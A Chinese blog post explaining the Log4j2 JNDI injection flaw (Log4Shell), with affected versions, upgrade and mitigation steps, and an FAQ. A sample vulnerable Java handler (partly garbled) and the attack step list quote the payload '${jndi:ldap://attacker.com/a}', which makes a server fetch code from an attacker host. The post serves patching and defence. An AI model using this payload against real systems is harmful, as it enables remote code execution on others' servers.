8 分钟阅读.

一、背景

本周对IT界的Java工程师来说，应该都有一个比较难忘的夜晚。夜半迷迷糊糊接到安全部的电话要求立即、马上升级 Log4j 的版本，修复安全漏洞。What？来不及…就投入了战斗。尤其大厂的Java工程师更是快忙疯了。只因apache log4j爆出史诗级安全漏洞。

二、apache log4j漏洞（what）

在介绍Log4j漏洞前，我们先来了解下apache log4j。

Log4j是 apache 开源的日志框架，是一个很基础的、优秀的日志框架，深受广大Java工程师的热爱、所以应用也很广泛（当前常用的两个日志框架分别是 log4j 2和logback）。Apache Log4j其实有两个大的版本，一个是Log4j1（常说的Log4j），另一个版本是Log4j2。Log4j2性能上在日志框架工具中有很明显的优势、尤其是高并发的应用中，这也是被Java工程师热爱的原因之一。想了解log4j2为什么性能高，可阅读 。

通过log4j2官网，我们知道这日志框架还是相当优秀的，面试之后可谓所向披靡、应用广泛。此次爆出安全漏洞的其实是Log4j2，Log4j2是在Log4j基础上迭代过来的，做了很多改进和优化，所以波及面可想而知。

Log4j2的漏洞：

漏洞原理官方表述是：Apache Log4j2 中存在 JNDI 注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。

注意，此漏洞是可以执行任意代码，这就很恐怖，相当于黑客已经攻入计算机，可以为所欲为了，就像已经进入你家，想干什么，就干什么，比如运行什么程序，植入什么病毒，变成他的肉鸡。

三、漏洞为什么如此严重（why）

由于Apache Log4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。

此漏洞基于JNDI注入，黑客可以任意构造特殊数据请求包即可触发此漏洞，之后可利用漏洞在目标服务器上执行任意代码。

为什么有这么大的杀伤力，我们来探究下它的原理。

1、攻击原理

 import org.apache.log4j.Logger;
import  Java .io.*;
import java.sql.SQL Exception ;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
  static  Logger log = Logger.getLogger(log4jExample.class.getName());
 /**
   * A simple HTTP endpoint that reads the  Request 's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */ public  void  handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");


 // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
 // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);
    String response = "<h1>Hello There, " + userAgent + "!</h1>";
    he.sendResponseHeaders(200, response.length());
     OutputStream  os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}  

根据上面提供的攻击代码，攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。

2、攻击步骤

1）、 攻击者向漏洞服务器发起攻击请求。

2）、 服务器通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载${jndi:ldap://attacker.com/a}，attacker.com是攻击者控制的地址。

3）、 记录的恶意负载被触发，服务器通过JNDI向attacker.com请求。attacker.com就可以在响应中添加一些恶意的可执行脚本，注入到服务器进程中，例如可执行的 字节码 。

4）、 攻击者执行恶意脚本。

专门画了一张图，让大家更好理解：

下面就是漏洞“攻陷”，比如可以在 baidu 搜索框里输入特殊格式请求，造成网页劫持。

3、 影响版本范围：

使用了 Apache Log4j <2.15.0 的所有版本的软件系统。1.x版本不受影响。

3.1、直接依赖， pom 中

 <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.x</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.x</version>
</dependency>  

3.2、间接依赖，只要编译后的项目带有log4j-api 2.x 和 log4j-core 2.x 就有漏洞

已知受影响的应用程序和组件：

• Spring-boot-strater-log4j2
• Apache Solr
• Apache Flink
• Apache Druid

据悉，此次 Apache Log4j2 远程代码执行漏洞风险已被业内评级为“高危”，且漏洞危害巨大，利用门槛极低。有报道称，目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等众多组件及大型应用均已经受到了影响，需尽快采取方案阻止。

四、解决方案（how）

既然发生了，就需要解决。Apache组织方面，已经升级了版本，也发了通知。应用者方面需要如何来解决来阻止漏洞呢？

1、方案一升级版本

第一种情况：jdk1.8 正式修复方案 。使用了此方法，就不用加额外的jvm参数了。

 <dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
  </dependency>
</dependencies>  

第二种情况：jdk 1.6 无官方平滑升级修复版本，需要自行升级 jdk 到1.8在升级log4j 到2.15.0

2、方案二更换框架

官方说是修复了，但未必100%保证不再出问题，大家可以换一个Java日志框架，比如logback就挺好用的，一直以来这个框架都是稳定和有保障的存在。

只要我们遵循面向接口编程的思想，其实更换框架工作量应该还好，但要做好充分测试。Log如何进行面向接口编程，可参看文章 。

五、思考

信息系统已经普及到人们生活的方方面面，所以信息系统的安全性需要高度的重视。一旦受到攻击，会影响民生。仅发生在2021年的就有两件：2021年5月13日美国最大燃油管道运营商Colonial被黑客攻击，迫使美国一度进入紧急状态，最终Colonial向黑客支付了75个比特币（大约500万美元）。2021年5月31日全球最大的肉类供应商JBS服务器被攻击，导致工厂暂停作业，肉价暴涨。

我们的生活已离不开软件，安全变的越来越不可轻视。所以为了我们系统安全可靠的运行，我们可以从以下两个方面着手。

1、组织方面：有过硬的安全团队；团队应急措施一定要有保障、超强的执行力。在遇到安全风险漏洞，能在短时间内快速修复，降低公司的风险。

2、研发设计研发方面：我们要遵循面向对象的经典设计原则。比如本次log4j2安全漏洞，如果遵循了DIP 依赖倒转原则（依赖使用日志框架 SLF4J 中的 API接口），那我们可采用方案就较多，或者使用方案二的代价就很小。

六、FAQ

Q: 项目里构建后只有log4j-api 2.x，没有log4j-core 2.x，还需要调整修复吗？

A：不需要，前提是必须确认编译后没有log4j-core 2.x 不仅是在pom里确认

Q: 我用的springboot starter 需不需要升级？

A：spring-boot-starter-logging 这个是logback 不需要升级，但是 spring-boot-starter-log4j2 是log4j 必须升级，以下三者取其一

springboot可以使用 属性指定log4j版本，<log4j2.version>2.15.0</log4j2.version>

springboot也可以 显示在pom指定版本2.15.0版本，并手动检查版本冲突

确保当前项目编译后的jar log4j-core 和 log4-api >=2.10 <= 2.14.1 ,在jvm增加参数-Dlog4j2.formatMsgNoLookups=true

Q: 没有使用log4j2，但是间接引入log4j-api 和 log4j-core 2.x，这样也有问题吗

A: 有问题，只要编译构建后有 log4j-core 2.x 就会有漏洞

Q: 升级2.15.0以后，项目启动不起来，引用的disruptor报错，这个怎么解决？

A:除了升级log4j-core之外，还需要升级log4j-api,log4j-jcl,log4j-slf4j-impl到2.15.0，disruptor升级到3.4.4。

Q:升级到2.15.0，线上参数没有-Dlog4j2.formatMsgNoLookups=true这个也可以吧？

A: 2.15.0后不需要在jvm加了，升级到2.15.0 后相当于默认-Dlog4j2.formatMsgNoLookups=true 不需要在jvm加了

如果此文能帮小伙伴答疑解惑，请长关注「架构那些事儿」！

你的关注就是我的动力！